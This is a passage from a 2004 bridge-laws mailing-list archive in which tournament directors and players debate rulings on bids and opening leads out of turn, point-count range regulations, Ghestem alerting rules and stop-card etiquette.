2004 16:28:23 +0100 Subject: [blml] Conventional bid out of turn Message-ID: Considering the fact that E did not make a denomination of a colour, my f= irst thought would be that E can not repeat his denomination and therefor= e falls prey to law 31a2b and can make any bid he like, only W is barred = from bidding. I am willing to be persuaded however that a pass repeats the intent of th= e 2H bid and is least damaging to NS and could be intended as subject to = law 31a2a. IMO that is however more the spirit than the actual letter of = the law. -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]Namens Sinot Martin Verzonden: woensdag 7 januari 2004 16:11 Aan: Bridge Laws (E-mail) Onderwerp: [blml] Conventional bid out of turn W N E S 2D - 2H 2D is Multi. East bids 2H out of turn (obviously intended as the nonforcing relay). The TD explains the options, and North elects to bid 2S. Which options does East have now? --=20 Martin Sinot martin.sinot@nospam.micronas.com _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml _________________________________________________________________________= ___ This communication is intended only for use by the addressee. It may cont= ain=20 confidential or privileged information. If you receive this communication= =20 unintentionally, please let us know by reply immediately. Gasunie does no= t =20 guarantee that the information sent with this E-mail is correct and does = not=20 accept any liability for damages related thereto. = =20 _________________________________________________________________________= ___ From nigel.guthrie@ntlworld.com Wed Jan 7 15:50:12 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 7 Jan 2004 15:50:12 -0000 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> Message-ID: <029001c3d535$f09845c0$9b9868d5@tinyhrieuyik> [Ton Kooijman] > We have a word in Dutch which is 'puntenkul' and > probably the German people have something similar. > In English something like points rot comes close, > I assume. I don't know who wrote it some days ago > but I agree with the statement that an NBO telling > that a 1NT opening with AT98 AT98 KT9 T9 is not > allowed when such opening by agreement shows 12-14 > points, doesn't know what it is doing. Such NBO > should also punish a player not opening 1NT with > QJ2 QJ2 QJ3 K432, using the same 'unannounced > implicit understanding'. To me such regulation is > as 'proper' as saying that the spade ace can't be > played in the first two tricks. [Nigel] Many local regulations are framed in terms of Milton Work HCP. I don't like those regulations. HCP is a crude yardstick, and I don't know any experienced bridge-player who uses it as the *only* determinant of a hand's value. But most of us use HCP as *one* factor in describing a hand. Of course you should divulge other requirements for a call; but, in so doing, there is no excuse for telling deliberate lies about HCP requirements, IMO. For example, Ton may well judge that the superior shape, honours, and intermediates of AT98 AT98 KT9 T9 make it a better hand than QJ2 QJ2 QJ3 K432; but there should be no dispute that the latter has more HCP. In case Ton has forgotten, Britons need no judgement to calculate HCP because the EBU Orange Book carefully *defines* HCP as "A=4 K=3 Q=2 J=1" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From Laval_Dubreuil@uqss.uquebec.ca Wed Jan 7 15:45:33 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Wed, 7 Jan 2004 10:45:33 -0500 Subject: [blml] 2 out of turn opening leads Message-ID: Hi Blmrs, Yesterday in my club: South is dealer but East lead (face up) with CA. Routine: dealer asked West "no Club lead" and CA returned in hand. Before West selected his card, Est made an other OTOL with HQ.... HQ becomes a major penalty card but ? 1) Give declarer new options right now (forbid or require H lead). What about CA if declarer change his mind? 2) Let the first choice stand (no club lead) and applies Law 51 from there. CA remains in hand, HQ is on table as major penalty card. Laval Du Breuil Quebec City From svenpran@online.no Wed Jan 7 15:45:43 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jan 2004 16:45:43 +0100 Subject: [blml] Conventional bid out of turn In-Reply-To: <94504F49BF58B0499D108530E98A52050E6444@rama.micronas.com> Message-ID: <000101c3d535$4fab1160$6900a8c0@WINXP> > Sinot Martin > W N E S > 2D - 2H >=20 > 2D is Multi. East bids 2H out of turn (obviously > intended as the nonforcing relay). The TD explains > the options, and North elects to bid 2S. Which options > does East have now? To make any call that is legal over the 2S bid by North. In this position East has the available information (which he may take = into consideration when selecting his call) that West must in any case pass = when next it is his turn to call, and if East in this turn (following the 2S = bid by North) now makes any call other than a bid in the denomination of = hearts West must pass for the rest of this auction. The relevant Law is 31A. There is however a final catch here, Law 23: If the enforced pass(es) by West is deemed by the Director as likely to damage opponents then on = certain conditions (which I do not bother to repeat here) the Director shall subsequently consider awarding an adjusted score. Regards Sven=20 From blml@blakjak.com Wed Jan 7 16:03:19 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 16:03:19 +0000 Subject: [blml] Zero Tolerance (was Range restrictions) In-Reply-To: References: Message-ID: RJH wrote >In my humble opinion, there are too many TDs using their so-called >"good" judgement to ignore flagrant infractions of Law 74A, merely >because the TD does not want to get involved. In my humble opinion, >such TDs are committing a gross dereliction of duty because, in my >humble opinion, Law 74A is the most important of all the Laws. Let us take as premises TDs are using their judgement They are not acting on infractions of L74A Why does it follow that the reason is that they do not want to get involved? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jan 7 16:06:22 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 16:06:22 +0000 Subject: [blml] Coprolites coparcenary In-Reply-To: References: Message-ID: <4RCxoPC+5C$$Ew6O@blakjak.demon.co.uk> RJH wrote >South West Pacific Teams, Table One > >Dlr: East >Vul: East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- 1H(1) 1NT(2) >Pass 2D(3) Pass 3C(4) >Pass 4H(5) Pass ? > >(1) Artificial, a fertiliser bid, 0-7 hcp, any shape >(2) Artificial, a game force, any shape >(3) Artificial, 6+ hcp with hearts >(4) Natural >(5) Undiscussed > >You, South, hold: > >AK2 >K9 >void >AK765432 > >What call do you make? >What other calls do you consider making? Even if the meaning of #5 is undiscussed I would expect a pair to know whether a jump in a forcing situation generally is a] Signoff [principle of fast arrival] b] Encouraging c] Fit-jump d] Solid suit and this affects my answer. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Wed Jan 7 16:07:07 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jan 2004 17:07:07 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000201c3d538$4ca93bb0$6900a8c0@WINXP> > Laval Dubreuil > Yesterday in my club: > > South is dealer I suppose you meant "declarer"! but East lead (face up) with CA. > Routine: dealer asked West "no Club lead" and CA returned in hand. > > Before West selected his card, Est made an other OTOL with HQ.... > > HQ becomes a major penalty card but ? "Dinner for one": "same procedure as every year (i.e. time), James" Declarer will execute his rights under Law 54 once again. > > 1) Give declarer new options right now (forbid or require H lead). > What about CA if declarer change his mind? The denial of a club (opening)lead is still in force and the CA will not become a penalty card. > > 2) Let the first choice stand (no club lead) and applies Law 51 > from there. CA remains in hand, HQ is on table as major penalty > card. Why Law 51? Law 54 applies once again on the lead of HQ. (But I have a strong feeling that I would investigate a bit further what on earth was going on in East's mind and maybe "award" him some procedural penalty). Regards Sven From t.kooyman@worldonline.nl Wed Jan 7 15:16:42 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 7 Jan 2004 16:16:42 +0100 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> Message-ID: <009401c3d538$abf59870$c383b6d4@LNV> Herman: > Ton, I am happy that you have decided to join some of these discussions. > > I want to agree with you - so allow me to translate what you are > saying into words that I would use - and see if you agree with those: > > Ton Kooijman wrote: > >We have a word in Dutch which is 'puntenkul' and probably the German > > > > people > > > have something similar. In English something like points rot comes close, > > > > > Points Schmointz ? > >I assume. I don't know who wrote it some days ago but I agree with the > >statement that an NBO telling that a 1NT opening with AT98 AT98 KT9 T9 is > >not allowed when such opening by agreement shows 12-14 points, doesn't > > know what it is doing. > Are you saying that you believe it is "common bridge knowledge" that > AT98 AT98 KT9 T9 is worth 12 points ? I am saying that this holding is worth opening if you have tried to describe your opening agreements with the very poor but still adequate description: 1NT 12-14. Every opponent and every partner should be very surprised if you don't open it. Could be a reason for redress (ha). > Are you saying that you don't consider it MI if this hand is routinely > opened 1NT and 1NT is announced and explained as 12-14 ? as I tried to say above I wouldn't be surprised if it is considered MI if you don't open it with 1NT, given 12 -14 for such an opening on your convention card. > If that is what you are saying, I couldn't agree more. So, we agree. ton From blml@blakjak.com Wed Jan 7 16:12:28 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 16:12:28 +0000 Subject: [blml] Conventional bid out of turn In-Reply-To: <94504F49BF58B0499D108530E98A52050E6444@rama.micronas.com> References: <94504F49BF58B0499D108530E98A52050E6444@rama.micronas.com> Message-ID: <0xGygmCs$C$$Ew5L@blakjak.demon.co.uk> Sinot Martin wrote >W N E S >2D - 2H > >2D is Multi. East bids 2H out of turn (obviously >intended as the nonforcing relay). The TD explains >the options, and North elects to bid 2S. Which options >does East have now? We assume South was offered the chance to condone but refused. L31A1 does not apply because North did not pass. L31A2A applies if East repeats the denomination of the COOT. However, L29C says this applies to the denomination specified rather than named. A 2H response to the Multi specifies no suit, thus L31A2A does not apply. So the only option for East is L31A2B: pd must pass throughout, and there will be lead penalties if E/W defend. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jan 7 16:46:15 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 16:46:15 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: Laval Dubreuil wrote >Hi Blmrs, > >Yesterday in my club: > >South is dealer but East lead (face up) with CA. >Routine: dealer asked West "no Club lead" and CA returned in hand. > >Before West selected his card, Est made an other OTOL with HQ.... > >HQ becomes a major penalty card but ? > >1) Give declarer new options right now (forbid or require H lead). > What about CA if declarer change his mind? Declarer does not "change his mind": he gets a new set of options, but they do not negate the earlier options chosen. >2) Let the first choice stand (no club lead) and applies Law 51 > from there. CA remains in hand, HQ is on table as major penalty > card. After the HQ, declarer has five options: 1] Accept the HQ lead, dummy down now. 2] Accept the HQ lead, put own hand down as dummy. 3] Require heart lead, HQ gets picked up, East can play anything legal. 4] Forbid heart lead for as long as West keeps lead, HQ gets picked up, club lead also forbidden for as long as West keeps lead. 5] Keep HQ on table as MPC, West forbidden from leading club for as long as West keeps lead. Knowledge of existence of CA and reasons for leading it UI to West: also knowledge of existence of HQ and reasons for leading it UI to West in #3, #4 and #5. If West runs out of diamonds and spades but is still on lead in #4 then he may lead anything. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jan 7 16:48:15 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 16:48:15 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000201c3d538$4ca93bb0$6900a8c0@WINXP> References: <000201c3d538$4ca93bb0$6900a8c0@WINXP> Message-ID: <3B+ysQHPhD$$EwrV@blakjak.demon.co.uk> Sven Pran wrote >(But I have a strong feeling that I would investigate a bit further what on >earth was going on in East's mind and maybe "award" him some procedural >penalty). That seems *extremely* harsh. His side has already been penalised twice on this board: a third penalty seems unnecessary. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From Laval_Dubreuil@uqss.uquebec.ca Wed Jan 7 17:17:19 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Wed, 7 Jan 2004 12:17:19 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: <3B+ysQHPhD$$EwrV@blakjak.demon.co.uk> Message-ID: Sven Pran wrote >(But I have a strong feeling that I would investigate a bit further what on >earth was going on in East's mind and maybe "award" him some procedural >penalty). David Stevenson wrote: That seems *extremely* harsh. His side has already been penalised twice on this board: a third penalty seems unnecessary. ________________________________________________________________________ Fully agree....and more at the club level.... They were all laughing at table when I came back for the 2nd OTOL. I just gave new options to declarer (option 1 in my original message) and left the table (after being sure all penalty cards removed) laughing with them... but having some doubt about my ruling (CA?). Thx for your answers. Laval Du Breuil Quebec City From svenpran@online.no Wed Jan 7 17:28:47 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jan 2004 18:28:47 +0100 Subject: [blml] Conventional bid out of turn In-Reply-To: <0xGygmCs$C$$Ew5L@blakjak.demon.co.uk> Message-ID: <000301c3d543$b5860450$6900a8c0@WINXP> > David Stevenson > Sinot Martin wrote > >W N E S > >2D - 2H > > > >2D is Multi. East bids 2H out of turn (obviously > >intended as the nonforcing relay). The TD explains > >the options, and North elects to bid 2S. Which options > >does East have now? > > We assume South was offered the chance to condone but refused. > > L31A1 does not apply because North did not pass. > > L31A2A applies if East repeats the denomination of the COOT. However, > L29C says this applies to the denomination specified rather than named. > A 2H response to the Multi specifies no suit, thus L31A2A does not > apply. Indeed it is. When I wrote my response I remembered the laws the way they are but didn't find law 29C when I wanted to verify my memory. Thus I referred strictly to the denomination "named". Is there a reason for a cross reference (reminder) to Law 29C from Law 31? (I shall make a reminder in my own Law book!) regards Sven From Frances.Hinden@Shell.com Wed Jan 7 17:50:37 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 7 Jan 2004 17:50:37 -0000 Subject: [blml] Bridge Proprieties: Stop Card Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB150F@lonsc-s-031.europe.shell.com> On Monday, Dec 22, 2003, at 13:37 US/Eastern, Adam Beneschan wrote: > Then again, I'm one of the few players around who pauses before=20 > passing in > the auction 1NT-pass-3NT-(my turn to call). Ed Reppert: >I've tried to do that. I've also gotten some mighty strange looks. I always wait 10 seconds after an opponent's skip bid, even if the stop = card is picked up earlier. I always keep the stop card on the table for 10 = seconds. I seem to be in an extremely small minority (I'd say of one, except that I've = trained my partners). However... 1. Last November in a matchpointed pairs event, opponents had an = uncontested auction. My LHO bid 4NT Blackwood (the first time NT had been bid), = heard the 5-level response and jumped to 7NT. My partner waited the obligatory 10 = seconds before passing. Oppo thought this was humerous. I didn't. I was very = pleased to have the time to work out whether doubling this contract would make = it more or less likely that partner would lead the suit of my ace. Because of = the pause I could work out that doubling would be likely to result in a lead I = didn't want and I passed in tempo without giving partner any UI. He led the right = suit. 2. A couple of years ago, before being fully trained, my team-mates = heard opponents=20 use Blackwood, get a 6-level response (useful void) and then jump to a = grand. The putative opening leader gave this a couple of courteous seconds = consideration and passed. His partner thought for a long time in the pass out seat. As = an ethical player (in fact, my husband), the opening leader decided that the UI = suggested a lead of dummy's first bid suit and led something else (dummy's first bid = suit would have beaten the contract). From Frances.Hinden@Shell.com Wed Jan 7 17:54:53 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 7 Jan 2004 17:54:53 -0000 Subject: [blml] 2004 ABF Alerting Regulations (Ghestem) Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1510@lonsc-s-031.europe.shell.com> RJH >An excellent point. In what circumstances would a Law 75B "habitual >violation" *not* create a Law 75B "implicit agreement"? > DWS: > It is always difficult to think of exceptional circumstances - until = >they turn up! > However, I think the answer may be that if the habitual violations=20 >were inconsistent it would be difficult to say they provide an implicit = >agreement. > If I play 3C as Ghestem over 1S as showing C+D, and the first time I = >bid it I have C+H, the second time D+S, the third time weak with=20 >clubs, the fourth time C+D, the fifth time medium with clubs, and the=20 >sixth time weak with clubs, then I suppose I have an implicit=20 >understanding that partner's clubs shows something, but I have no idea=20 >what - so how can I express an understanding? FH: Can I get the board cancelled (in EBU-land) because you are playing an illegal convention by implicit agreement: a jump to 3C over an = opening=20 1S does not have an anchor suit? This is not an entirely facetious point: it seems to me to be similar to the new ABF regulation allowing TDs to stop people playing conventions = they keep forgetting. From svenpran@online.no Wed Jan 7 18:00:58 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jan 2004 19:00:58 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000401c3d548$341663b0$6900a8c0@WINXP> > Laval Dubreuil > Sven Pran wrote > >(But I have a strong feeling that I would investigate > >a bit further what on earth was going on in East's > >mind and maybe "award" him some procedural penalty). > David Stevenson wrote: > > That seems *extremely* harsh. His side has already been penalised > twice on this board: a third penalty seems unnecessary. > ________________________________________________________________________ > Fully agree....and more at the club level.... > They were all laughing at table when I came back for the 2nd OTOL. > I just gave new options to declarer (option 1 in my original message) > and left the table (after being sure all penalty cards removed) > laughing with them... but having some doubt about my ruling (CA?). I did specifically write "investigate". If I found that there most likely was some kind of a mental disability causing this behavior by East I would (of course) laugh too except that I would try to avoid any extra embarrassment to him. But if I found some unacceptable reason behind his actions I would not hesitate issuing anything from a warning to a more tangible PP. Regards Sven From Robin.Barker@npl.co.uk Wed Jan 7 18:09:35 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Wed, 7 Jan 2004 18:09:35 -0000 Subject: [blml] 2004 ABF Alerting Regulations (Ghestem) Message-ID: <533D273D4014D411AB1D00062938C4D904046780@hotel.npl.co.uk> -----Original Message----- From: Hinden, Frances SI-PXS [mailto:Frances.Hinden@Shell.com] Sent: 07 January 2004 17:55 To: blml@rtflb.org Subject: RE: [blml] 2004 ABF Alerting Regulations (Ghestem) > If I play 3C as Ghestem over 1S as showing C+D, and the first time I >bid it I have C+H, the second time D+S, the third time weak with >clubs, the fourth time C+D, the fifth time medium with clubs, and the >sixth time weak with clubs, then I suppose I have an implicit >understanding that partner's clubs shows something, but I have no idea >what - so how can I express an understanding? FH: Can I get the board cancelled (in EBU-land) because you are playing an illegal convention by implicit agreement: a jump to 3C over an opening 1S does not have an anchor suit? This is not an entirely facetious point: it seems to me to be similar to the new ABF regulation allowing TDs to stop people playing conventions they keep forgetting. _______________________________________________ EBU TDs are told that the auction (1S) 2NT - 3D - 3H; where 2NT is first explained as C+D, and 3H is explained as "must be" C+H. is sufficient evidence that 2NT shows any two (unbid) suits, and to rule on the basis of an illegal convention. The same does not apply to Ghestem 3C auctions presumably because Ghestem bids always show two specific suits, so there is always an one common suit between the two sets of suits each partner thinks has been specified. Robin ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From blml@blakjak.com Wed Jan 7 19:04:14 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 19:04:14 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000401c3d548$341663b0$6900a8c0@WINXP> References: <000401c3d548$341663b0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Laval Dubreuil >> Sven Pran wrote >> >(But I have a strong feeling that I would investigate >> >a bit further what on earth was going on in East's >> >mind and maybe "award" him some procedural penalty). >> David Stevenson wrote: >> >> That seems *extremely* harsh. His side has already been penalised >> twice on this board: a third penalty seems unnecessary. >> ________________________________________________________________________ >> Fully agree....and more at the club level.... >> They were all laughing at table when I came back for the 2nd OTOL. >> I just gave new options to declarer (option 1 in my original message) >> and left the table (after being sure all penalty cards removed) >> laughing with them... but having some doubt about my ruling (CA?). > >I did specifically write "investigate". If I found that there most likely >was some kind of a mental disability causing this behavior by East I would >(of course) laugh too except that I would try to avoid any extra >embarrassment to him. > >But if I found some unacceptable reason behind his actions I would not >hesitate issuing anything from a warning to a more tangible PP. OK, give us a clue: what sort of unacceptable reason? I really think you would be seriously wasting your time, and your *investigation* is going to be very embarrassing. There comes a time to just let things go. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Wed Jan 7 19:21:26 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 8 Jan 2004 08:21:26 +1300 Subject: [blml] Range restrictions In-Reply-To: <007701c3d508$5d7c7cc0$81242850@multivisionoem> Message-ID: <000801c3d553$7280ee80$622f37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Wednesday, 7 January 2004 9:01 p.m. > To: blml > Subject: Re: [blml] Range restrictions > > > > Grattan Endicott +++++++++++++++++++++++++++++++++ > "What dire offence from am'rous causes springs, > What mighty contests rise from trivial things." > 'The Rape of the Lock' > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# > ----- Original Message ----- > From: "Wayne Burrows" > To: > Sent: Tuesday, January 06, 2004 5:01 AM > Subject: RE: [blml] Range restrictions > > > > > > > 1. You may not play Rule of 17 > > > > 2. Rule of 17 is classified as Yellow > > > > 3. You may play Rule of 17 only if thereafter you > > play no conventions > > > > I say 1 and 2 are illegal - absolutely no basis in the > > laws or any obscure WBF minute that I have seen. > > > > 3. has been declared legal by WBF inspite of its > > absurdity. > > > > Wayne > < > +=+ The legal statement is "A condition of the use of > any convention is that it shall not be used with openings > that may be made by agreement on hands valued > weaker than Rule of 'x'." Richard Hills suggested in a private correspondence that Australia have gone even further with if I open weaker than Rule of 'x' I may not even play unrelated conventions. e.g. if I play 5 point natural weak twos (Rule of 14) then I am not allowed to play Stayman in response to 1NT openings. There regulations do not state this point explicitly they merely regulate that if I do not meet Rule of 15 then my system will be classified as Yellow with no mention of this being conditional on the playing or not playing of any conventions. Wayne > ~ Grattan ~ +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From toddz@att.net Wed Jan 7 19:20:46 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 07 Jan 2004 14:20:46 -0500 Subject: [blml] Morality (was Range restrictions) In-Reply-To: <007601c3d508$5cb694b0$81242850@multivisionoem> References: <007601c3d508$5cb694b0$81242850@multivisionoem> Message-ID: <6.0.1.1.1.20040107140036.01aec8c8@postoffice.worldnet.att.net> At 03:52 AM 1/7/2004, Grattan Endicott wrote: >"Now that *is* Democracy!" >< > > >Winston Churchill: > >>Indeed, it has been said that democracy is the > >>worst form of Government except all those other > >>forms that have been tried from time to time. >< >+=+ "Democracy is the recurrent suspicion that more >than half of the people are right more than half of the >time." (E.B. White, humorist). +=+ Cute, blah blah. The WBF and its NBOs are businesses, not democracies and for as much as free-market economies and democracies go hand-in-hand, they are not the same thing, especially not when one company commands a monopoly on a market. -Todd From hermandw@hdw.be Wed Jan 7 19:25:13 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 07 Jan 2004 20:25:13 +0100 Subject: [blml] Range restrictions In-Reply-To: <009401c3d538$abf59870$c383b6d4@LNV> References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> Message-ID: <3FFC5D19.5070404@hdw.be> We agree, but I'm afraid it won't last. Second question coming up. Ton Kooijman wrote: > Herman: > > >>Are you saying that you believe it is "common bridge knowledge" that >>AT98 AT98 KT9 T9 is worth 12 points ? > > > I am saying that this holding is worth opening if you have tried to > describe your opening agreements with the very poor but still adequate > description: 1NT 12-14. Every opponent and every partner should be very > surprised if you don't open it. Could be a reason for redress (ha). > > >>Are you saying that you don't consider it MI if this hand is routinely >>opened 1NT and 1NT is announced and explained as 12-14 ? > > > as I tried to say above I wouldn't be surprised if it is considered MI if > you don't open it with 1NT, given 12 -14 for such an opening on your > convention card. > > >>If that is what you are saying, I couldn't agree more. > > > So, we agree. > > ton > Second question. Suppose an SO has issued system regulations under which a 1NT opening of 12-14 is classed pink, while any lesser openings are classed purple. In a particular tournament, purple systems are not allowed. The hand above turns up (AT98 AT98 KT9 T9) and some competitor opens it 1NT (announced as 12-14). Would you consider this a purple system? -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@blakjak.com Wed Jan 7 19:25:09 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 19:25:09 +0000 Subject: [blml] Bridge Proprieties: Stop Card In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB150F@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB150F@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote >On Monday, Dec 22, 2003, at 13:37 US/Eastern, Adam Beneschan wrote: > >> Then again, I'm one of the few players around who pauses before >> passing in >> the auction 1NT-pass-3NT-(my turn to call). > >Ed Reppert: > >>I've tried to do that. I've also gotten some mighty strange looks. > >I always wait 10 seconds after an opponent's skip bid, even if the stop card is >picked up earlier. I always keep the stop card on the table for 10 >seconds. I seem >to be in an extremely small minority (I'd say of one, except that I've trained >my partners). I do find the idea of not waiting 10 seconds after a Skip Bid "because no-one is going to bid in this position" silly. Apart from the obvious [perhaps I have the odd hand that wants to bid, perhaps one of the next two people needs the extra time to which they are entitled, perhaps I believe rules should be followed] there is another reason: It is *easier* to follow a rule without thought! Players who only pause after some skip bids have to decide which ones, so they are adding an extra level of complexity pointlessly and illegally!!!!!!!!!!!! I think they are Dagenham [I'll leave Probst {3rd to Didi's 1st} to explain the allusion. >1. Last November in a matchpointed pairs event, opponents had an uncontested >auction. My LHO bid 4NT Blackwood (the first time NT had been bid), heard the >5-level response and jumped to 7NT. My partner waited the obligatory >10 seconds >before passing. Oppo thought this was humerous. I didn't. I was very pleased >to have the time to work out whether doubling this contract would make it more >or less likely that partner would lead the suit of my ace. Because of >the pause >I could work out that doubling would be likely to result in a lead I >didn't want >and I passed in tempo without giving partner any UI. He led the right suit. A quick story from last night. I had a balanced 17-count. Pd opened 2C, which is either 21+ balanced, FG, or weak with diamonds. I bid 2NT [Ogust or Blue Club] and pd bids ..... 3NT? Now 3C/D/H/S show wkwk/wkst/stwk/stst so 3NT is? 21+ balanced, surely? While I am pondering LHO asks the meaning of 2C [as above], 2NT [enquiry], 3NT [I tell her, with some doubt in my voice]. While she is wondering about her lead [another player who does not realise you need three passes to end an auction] I finally decide I must trust partner so bid 7NT. "But ..." says LHO. When you play with Ted Reveley in the other room ["The Bear" of a few stories on RGB and my Bridgepage] you have to work out your excuses early. However, I had not really worked one out for this one but fortunately he did not notice. "Plus 150" he said. "Two out" I replied. A quick glance at his score-card showed 3NT-3, so my 7NT-4 did not cost much. LHO did lead the HA against 7NT: good thing she did not double. Where does the Stop card come into all this? I put it out before bidding 7NT, of course, but LHO passed immediately, without waiting ten seconds - which might have been enough time to realise that possession of the HA on lead to 7NT was enough to double!!!!!!!! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jan 7 19:27:31 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jan 2004 19:27:31 +0000 Subject: [blml] 2004 ABF Alerting Regulations (Ghestem) In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1510@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1510@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote >Can I get the board cancelled (in EBU-land) because you are playing >an illegal convention by implicit agreement: a jump to 3C over an opening >1S does not have an anchor suit? > >This is not an entirely facetious point: it seems to me to be similar to >the new ABF regulation allowing TDs to stop people playing conventions they >keep forgetting. If you want to play this ridiculous regulation kindly emigrate there. Sorry to the ABF, but I think it a terrible reg. No, Frances, over here we like people to make mistakes: they tend to lose points. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Wed Jan 7 19:49:12 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jan 2004 20:49:12 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000501c3d557$52e84290$6900a8c0@WINXP> > David Stevenson > Sent: 7. januar 2004 20:04 > To: blml@rtflb.org > Subject: Re: [blml] 2 out of turn opening leads >=20 > Sven Pran wrote > >> Laval Dubreuil > >> Sven Pran wrote > >> >(But I have a strong feeling that I would investigate > >> >a bit further what on earth was going on in East's > >> >mind and maybe "award" him some procedural penalty). > >> David Stevenson wrote: > >> > >> That seems *extremely* harsh. His side has already been = penalised > >> twice on this board: a third penalty seems unnecessary. > >> > = ________________________________________________________________________ > >> Fully agree....and more at the club level.... > >> They were all laughing at table when I came back for the 2nd OTOL. > >> I just gave new options to declarer (option 1 in my original = message) > >> and left the table (after being sure all penalty cards removed) > >> laughing with them... but having some doubt about my ruling (CA?). > > > >I did specifically write "investigate". If I found that there most = likely > >was some kind of a mental disability causing this behavior by East I > would > >(of course) laugh too except that I would try to avoid any extra > >embarrassment to him. > > > >But if I found some unacceptable reason behind his actions I would = not > >hesitate issuing anything from a warning to a more tangible PP. >=20 > OK, 